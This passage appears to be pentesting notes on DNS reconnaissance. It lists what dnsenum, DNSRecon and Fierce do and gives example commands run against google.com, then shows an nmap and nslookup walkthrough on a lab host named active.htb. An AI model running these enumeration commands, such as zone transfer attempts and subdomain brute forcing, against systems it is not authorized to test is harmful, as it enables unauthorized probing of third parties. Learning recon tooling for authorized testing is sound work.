  • Get the MX record (threaded).
  • Perform axfr queries on nameservers and get BIND VERSION (threaded).
  • Get extra names and subdomains via google scraping (google query = “allinurl: -www site:domain”).
  • Brute force subdomains from a file can also perform recursion on a subdomain that has NS records (all threaded).
  • Calculate C class domain network ranges and perform whois queries on them (threaded).
  • Perform reverse lookups on netranges ( C class or/and whois netranges) (threaded).
  • Write to domain_ips.txt file IP-blocks.

Execution

  • dnsenum –noreverse google.com

DNSRecon

DNSRecon provides the ability to perform:

  • Check all NS Records for Zone Transfers
  • Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
  • Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
  • Check for Wildcard Resolution
  • Brute Force subdomain and host A and AAAA records are given a domain and a wordlist
  • Perform a PTR Record lookup for a given IP Range or CIDR
  • Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
  • Enumerate Common DNS records in the Local Network Enumerate Hosts and Subdomains using Google

Execution

  • dnsrecon -d google.com

Fierce

Fierce is a reconnaissance tool. Fierce is a PERL script that quickly scans domains (usually in just a few minutes, assuming no network lag) using several tactics

Execution

  • fierce –dns google.com

Know the DNS server name

1. Scanning a host with nmap we can sometimes find a domain name, in this case LDAP

  • nmap -sV -sC -A -T5 10.10.10.100

2. This server also has DNS (port 53) service opened. We can consult it

  • nslookup
  • server 10.10.10.100
  • 127.0.0.1

3. We now know this server is localhost, so, the FQDN would be localhost.active.htb